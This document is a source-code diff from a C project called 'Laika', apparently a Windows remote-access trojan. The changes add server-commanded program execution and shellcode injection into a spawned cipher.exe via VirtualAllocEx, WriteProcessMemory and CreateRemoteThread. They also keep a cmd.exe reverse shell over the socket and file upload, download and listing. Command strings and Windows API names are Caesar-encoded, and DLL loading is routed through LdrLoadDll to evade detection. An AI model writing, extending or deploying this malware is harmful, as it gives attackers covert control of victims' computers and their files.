-			int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator
-			char* fileInfoStr = (char*)Api.malloc(bufferSize);
-			Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str);
-
-			if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) {
-				//send failed
-				Api.free(path);
-				Api.free(fileInfoStr);
-				Sleep_(Sleep_TIME);
-				goto retry;
-			}
-			
-			Api.free(fileInfoStr);
-			Api.free(path);
-		}
-
-		if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
-			char* drives = (char*)Api.malloc(MAX_PATH);
 
 			get_drives_list(drives);
 
 			if (Api.send(sock, drives, strlen(drives), 0) < 0) {
 				//send failed
-				Api.free(drives);
+				Api.HeapFree(_crt_heap, 0, drives);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.free(drives);
+			Api.HeapFree(_crt_heap, 0, drives);
 		}
 
-		if (Api.strncmp(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject
+		if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute
-			char* arch = (char*)Api.malloc(2);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
+			STARTUPINFOA si;
+			PROCESS_INFORMATION pi;
+
+			memset_(&si, 0, sizeof(si));
+			si.cb = sizeof(si);
+			memset_(&pi, 0, sizeof(pi));
+
+			if (Api.recv(sock, path, MAX_PATH, 0) <= 0) {
+				Api.HeapFree(_crt_heap, 0, path);
+				Sleep_(Sleep_TIME);
+				goto retry;
+			}
+
+			Api.CreateProcessA(
+				NULL,     // Application name
+				CAESAR_DECRYPT(path),     // Command line
+				NULL,     // Process security attributes
+				NULL,     // Primary thread security attributes
+				FALSE,       // Handles are not inherited
+				CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE, // Creation flags
+				NULL,     // Use parent's environment block
+				NULL,        // Starting directory 
+				&si,         // Pointer to STARTUPINFOW structure
+				&pi          // Pointer to PROCESS_INFORMATION structure
+			);
+
+			Api.HeapFree(_crt_heap, 0, path);
+		}
+
+#ifdef SHELLCODE
+		if (strncmp_(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject
+			char* arch = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, 2);
 
 			if (Api.recv(sock, arch, 2, 0) <= 0) {
 				//send failed
-				Api.free(arch);
+				Api.HeapFree(_crt_heap, 0, arch);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 			CAESAR_DECRYPT(arch);
 
-			HANDLE hFile = CreateFileMappingW(
+			size_t fsize = 0;
-				INVALID_HANDLE_VALUE,   // Use the page file
+			char *file = upload_file_to_mem(sock, &fsize);
-				NULL,                   // Default security attributes
+			if (file == NULL) {
-				PAGE_READWRITE,         // Read/write access
-				0,                      // Map the entire file
-				BUFFER_SIZE,                   // Size of the file (in bytes)
-				TEXT("idufhiu"));     // Name of the file mapping object
-
-			if (hFile == NULL) {
-				Api.free(arch);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			upload_file(sock, hFile);
+			HANDLE proc = NULL;
-
+			if (strncmp_(arch, "32", strlen("32")) == 0) {
-			// Move the file pointer back to the beginning of the file
+				proc = FindProcessByArch(L"x86");
-			Api.SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
-
-			HANDLE proc;
-			if (Api.strncmp(arch, "32", strlen("32")) == 0) {
-				proc = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, (DWORD)18872);//FindProcessByArch(L"x86");
 			}
 			else {
 				proc = FindProcessByArch(L"x64");
 			}
 
-			Api.free(arch);
+			Api.HeapFree(_crt_heap, 0, arch);
 
 			if (proc == NULL) {
-				Api.CloseHandle(hFile);
+				Api.HeapFree(_crt_heap, 0, file);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			// Get the size of the file
+			LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-			LARGE_INTEGER fileSize;
-			if (!Api.GetFileSizeEx(hFile, &fileSize))
-			{
-				Api.CloseHandle(hFile);
-				Api.CloseHandle(proc);
-				Sleep_(Sleep_TIME);
-				goto retry;
-			}
-
-			LPVOID addr = Api.VirtualAllocEx(proc, NULL, (size_t)fileSize.QuadPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 			if (addr == NULL) {
-				Api.CloseHandle(hFile);
+				Api.HeapFree(_crt_heap, 0, file);
 				Api.CloseHandle(proc);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			DWORD bytesRead;
+			if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
-			char* shellcode = (char*)Api.malloc((size_t)fileSize.QuadPart);
+				Api.HeapFree(_crt_heap, 0, file);
-			if (!Api.ReadFile(hFile, shellcode, sizeof(shellcode), &bytesRead, NULL))
-			{
-				Api.free(shellcode);
-				Api.CloseHandle(hFile);
 				Api.CloseHandle(proc);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.WriteProcessMemory(proc, addr, shellcode, BUFFER_SIZE, NULL);
+			HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
-
+			if (hThread == NULL) {
-			Api.free(shellcode);
+				Api.HeapFree(_crt_heap, 0, file);
-			Api.CloseHandle(hFile);
 				Api.CloseHandle(proc);
+				Sleep_(Sleep_TIME);
+				goto retry;
 			}
 
-		if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
+			Api.HeapFree(_crt_heap, 0, file);
-			char* file_list = (char*)Api.malloc(BUFFER_SIZE);
+			Api.CloseHandle(proc);
-			char* path = (char*)Api.malloc(MAX_PATH);
+			Api.CloseHandle(hThread);
+		}
+#endif
+		if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
+			char* file_list = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
 
 			//Receive a reply from the server
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.free(file_list);
+				Api.HeapFree(_crt_heap, 0, file_list);
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			int num_files;
+			int num_files = 0;
 			file_list = get_file_list(CAESAR_DECRYPT(path), &num_files);
 
 			if (file_list == NULL) {
-				Api.free(file_list);
+				Api.HeapFree(_crt_heap, 0, file_list);
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -395,50 +378,50 @@ retry:
 
 			if (Api.send(sock, file_list, strlen(file_list), 0) < 0) {
 				//send failed
-				Api.free(file_list);
+				Api.HeapFree(_crt_heap, 0, file_list);
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.free(path);
+			Api.HeapFree(_crt_heap, 0, path);
 		}
 
-		if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
+		if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
-			char* path = (char*)Api.malloc(MAX_PATH);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
 
 			//Receive a reply from the server
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb");
+			HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
-			Api.free(path);
+			Api.HeapFree(_crt_heap, 0, path);
 
-			if (fp == NULL)
+			if (hFile == NULL)
 			{
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			if (download_file(fp, sock) == 0) {
+			if (download_file(hFile, sock) == 0) {
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 		}
 
-		if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
+		if (strncmp_(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
-			char* path = (char*)Api.malloc(MAX_PATH);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
 
 			//Receive a reply from the server
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -447,20 +430,20 @@ retry:
 
 			HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 			if (file_handle == INVALID_HANDLE_VALUE) {
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
-				Api.free((LPWSTR)wstr);
+				Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
-				return;
+				goto retry;
 			}
 
-			Api.free((LPWSTR)wstr);
+			Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
 
 			upload_file(sock, file_handle);
 
 			Api.CloseHandle(file_handle);
-			Api.free(path);
+			Api.HeapFree(_crt_heap, 0, path);
 		}
 
-		if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
+		if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
 			// Set the socket as standard output and error
 			SECURITY_ATTRIBUTES sa;
 			sa.nLength = sizeof(SECURITY_ATTRIBUTES);
@@ -483,7 +466,7 @@ retry:
 
 			// Create the process
 			STARTUPINFO si;
-			ZeroMemory(&si, sizeof(STARTUPINFO));
+			memset_(&si, 0, sizeof(STARTUPINFO));
 			si.cb = sizeof(STARTUPINFO);
 			si.hStdError = g_hChildStd_OUT_Wr;
 			si.hStdOutput = g_hChildStd_OUT_Wr;
@@ -491,7 +474,7 @@ retry:
 			si.dwFlags |= STARTF_USESTDHANDLES;
 
 			PROCESS_INFORMATION pi;
-			ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
+			memset_(&pi, 0, sizeof(PROCESS_INFORMATION));
 
 			if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
 				SendShellEndedSignal(sock);
@@ -551,3 +534,23 @@ retry:
 	*/
 	return 0;
 }
+
+/*
+BOOL APIENTRY main(HMODULE hModule,
+    DWORD  ul_reason_for_call,
+    LPVOID lpReserved
+)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+		main_func();
+        break;
+    case DLL_THREAD_ATTACH:
+    case DLL_THREAD_DETACH:
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
+*/

Laika/resolve_apis.c

@@ -1,18 +1,31 @@
 #include "resolve_apis.h"
+#include "libc.h"
 
 API Api;
 HMODULE hWininet;
-HMODULE hMsvcrt;
 HMODULE hKernel32;
 
 void InitApis() {
-	// Dynamic loading functions
+	TLdrLoadDll ldr = (TLdrLoadDll)get_ntfunction(CAESAR_DECRYPT("QiwQtfiIqq"));
-	hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll
+	TRtlInitUnicodeString r = (TRtlInitUnicodeString)get_ntfunction(CAESAR_DECRYPT("WyqNsnyZsnhtijXywnsl"));
+	wchar_t *wide = L"kernel32.dll";
+	UNICODE_STRING dll;
+
+	r(&dll, wide);
+	ldr(0, 0, &dll, (PVOID*)&hKernel32);
 	if (!hKernel32) {
 		return;
 	}
 
-	Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
+	Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
+	Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F"));
+	Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi"));
+	Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF"));
+	Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
+	Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth"));
+	Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj"));
+	Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
+	Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
 	Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
 	Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
 	Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
@@ -25,7 +38,6 @@ void InitApis() {
 	Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi"));
 	Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\"));
 	Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
-	Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
 	Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
 	Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
 	Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
@@ -33,45 +45,13 @@ void InitApis() {
 	Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
 	Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\"));
 	Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\"));
+	Api.DeleteFileA = (TDeleteFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqjF"));
 	Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\"));
 	Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\"));
-	Api.CreateToolhelp32Snapshot = (TCreateToolhelp32Snapshot)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYttqmjqu87Xsfuxmty"));
-	Api.Process32FirstW = (TProcess32FirstW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Knwxy\\"));
-	Api.OpenProcess = (TOpenProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("TujsUwthjxx"));
-	Api.Process32NextW = (TProcess32NextW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Sj}y\\"));
-	Api.IsWow64Process = (TIsWow64Process)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Nx\\t|;9Uwthjxx"));
 	Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~"));
 	Api.VirtualAllocEx = (TVirtualAllocEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("[nwyzfqFqqthJ}"));
-	Api.SetFilePointer = (TSetFilePointer)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("XjyKnqjUtnsyjw"));
-	Api.GetFileSizeEx = (TGetFileSizeEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjXn\x7fjJ}")); //GetFileSieEx
 
-	hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
+	hWininet = Api.LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
-	if (!hMsvcrt) {
-		return;
-	}
-
-	Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
-	Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
-	Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
-	Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
-	Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
-	Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
-	Api.remove = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjrt{j"));
-	Api.rmdir = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dwrinw"));
-	Api.stat = (Tstat)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxyfy"));
-	Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
-	Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
-	Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
-	Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
-	Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
-	Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
-	Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
-	Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
-	Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
-	Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj"));
-	Api.wcscmp = (Twcscmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxhru"));
-
-	hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
 	if (!hWininet) {
 		return;
 	}
@@ -88,10 +68,3 @@ void InitApis() {
 	Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
 	Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
 }
-/* Never called
-void FreeApis() {
-	Api.FreeLibrary(hWininet);
-	Api.FreeLibrary(hMsvcrt);
-	Api.FreeLibrary(hKernel32);
-}
-*/

Laika/resolve_apis.h

@@ -3,9 +3,19 @@
 #include <shlobj_core.h>
 #include <TlHelp32.h>
 #include <wininet.h>
+#include <winternl.h>
 #include <winsock.h>
 #include "utils.h"
 
+#ifdef _M_X64
+	#define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self)))
+#else
+	#define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self)))
+#endif
+
+typedef NTSTATUS(NTAPI* TRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
+typedef NTSTATUS(NTAPI* TLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
+typedef HMODULE(WINAPI* TLoadLibraryA)(LPCSTR);
 
 typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int);
 typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int);
@@ -19,28 +29,8 @@ typedef int(WINAPI* TWSAGetLastError)(void);
 typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
 typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int);
 
-typedef void* (WINAPI* Tmemset)(void*, int, size_t);
-typedef void* (WINAPI* Tmalloc)(size_t);
-typedef void(WINAPI* Tfree)(void*);
-typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t);
-typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t);
-typedef char*(WINAPI* Tstrcpy)(char*, const char*);
-typedef int(WINAPI* Tremove)(const char*);
-typedef int(WINAPI* Trmdir)(const char*);
-typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
-typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
-typedef void*(WINAPI* Trealloc)(void*, size_t);
-typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
-typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
-typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
-typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
-typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
-typedef int(WINAPI* Tfclose)(FILE*);
-typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
-typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*);
 typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR);
 typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR);
-typedef int(WINAPI* Twcscmp)(const wchar_t*, const wchar_t*);
 
 typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
 typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
@@ -54,8 +44,15 @@ typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_ST
 typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD);
 typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
 typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
-typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
 typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
+typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
+typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
+typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
+typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T);
+typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID);
+typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T);
+typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
+typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR);
 typedef BOOL(WINAPI* TFindClose)(HANDLE);
 typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
 typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
@@ -63,15 +60,8 @@ typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
 typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
 typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR);
 typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR);
-typedef HANDLE(WINAPI* TCreateToolhelp32Snapshot)(DWORD, DWORD);
-typedef BOOL(WINAPI* TProcess32FirstW)(HANDLE, LPPROCESSENTRY32W);
-typedef HANDLE(WINAPI* TOpenProcess)(DWORD, BOOL, DWORD);
-typedef BOOL(WINAPI* TProcess32NextW)(HANDLE, LPPROCESSENTRY32W);
-typedef BOOL(WINAPI* TIsWow64Process)(HANDLE, PBOOL);
 typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
 typedef LPVOID(WINAPI* TVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
-typedef DWORD(WINAPI* TSetFilePointer)(HANDLE, LONG, PLONG, DWORD);
-typedef BOOL(WINAPI* TGetFileSizeEx)(HANDLE, PLARGE_INTEGER);
 
 typedef struct ApiList {
 	Tconnect connect;
@@ -86,11 +76,15 @@ typedef struct ApiList {
 	Tselect select;
 	Tsetsockopt setsockopt;
 
-	Tmemset memset;
+	TLoadLibraryA LoadLibraryA;
-	Tmalloc malloc;
+	TCreateFileA CreateFileA;
-	Tfree free;
+	TCreateProcessA CreateProcessA;
-	Tstrncmp strncmp;
+	TCreateRemoteThread CreateRemoteThread;
-
+	THeapCreate HeapCreate;
+	THeapFree HeapFree;
+	THeapReAlloc HeapReAlloc;
+	THeapAlloc HeapAlloc;
+	TDeleteFileA DeleteFileA;
 	TCreateFileW CreateFileW;
 	TReadFile ReadFile;
 	TWriteFile WriteFile;
@@ -103,7 +97,6 @@ typedef struct ApiList {
 	TTerminateThread TerminateThread;
 	TCreateProcessW CreateProcessW;
 	TTerminateProcess TerminateProcess;
-	TFreeLibrary FreeLibrary;
 	TGetProcAddress GetProcAddress;
 	TFindClose FindClose;
 	TGetLogicalDrives GetLogicalDrives;
@@ -112,34 +105,11 @@ typedef struct ApiList {
 	TFindNextFileW FindNextFileW;
 	TRemoveDirectoryW RemoveDirectoryW;
 	TDeleteFileW DeleteFileW;
-	TCreateToolhelp32Snapshot CreateToolhelp32Snapshot;
-	TProcess32FirstW Process32FirstW;
-	TOpenProcess OpenProcess;
-	TProcess32NextW Process32NextW;
-	TIsWow64Process IsWow64Process;
 	TWriteProcessMemory WriteProcessMemory;
 	TVirtualAllocEx VirtualAllocEx;
-	TSetFilePointer SetFilePointer;
-	TGetFileSizeEx GetFileSizeEx;
 
-	Tmbstowcs mbstowcs;
-	Twcstombs wcstombs;
-	Tstrcpy strcpy;
-	Tremove remove;
-	Trmdir rmdir;
-	Tstat stat;
-	Tsprintf sprintf;
-	Trealloc realloc;
-	Tlocaltime localtime;
-	Tstrftime strftime;
-	T_snprintf _snprintf;
-	Tfopen fopen;
-	Tfclose fclose;
-	Tfread fread;
-	Tfwrite fwrite;
 	TlstrcpyW lstrcpyW;
 	TlstrcatW lstrcatW;
-	Twcscmp wcscmp;
 } API;
 
 void InitApis();

Laika/shellcode.c

@@ -1,51 +1,38 @@
 #include "shellcode.h"
+#include "libc.h"
 
 extern API Api;
 
 HANDLE FindProcessByArch(const wchar_t* arch)
 {
-    HANDLE hSnapshot;
+    STARTUPINFOW si;
-    PROCESSENTRY32 pe32;
+    PROCESS_INFORMATION pi;
 
-    // Take a snapshot of all processes in the system
+    memset_(&si, 0, sizeof(si));
-    hSnapshot = Api.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    si.cb = sizeof(si);
-    if (hSnapshot == INVALID_HANDLE_VALUE) {
+    memset_(&pi, 0, sizeof(pi));
-        return NULL;
-    }
 
-    // Iterate through the processes in the system
+    LPWSTR path32 = L"C:\\Windows\\SysWOW64\\cipher.exe";
-    pe32.dwSize = sizeof(PROCESSENTRY32);
+    LPWSTR path64 = L"C:\\Windows\\System32\\cipher.exe";
-    if (!Api.Process32FirstW(hSnapshot, &pe32)) {
+    LPWSTR path = 0;
-        Api.CloseHandle(hSnapshot);
-        return NULL;
-    }
-    do {
-        HANDLE hProcess;
-        BOOL isWow64;
 
-        hProcess = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
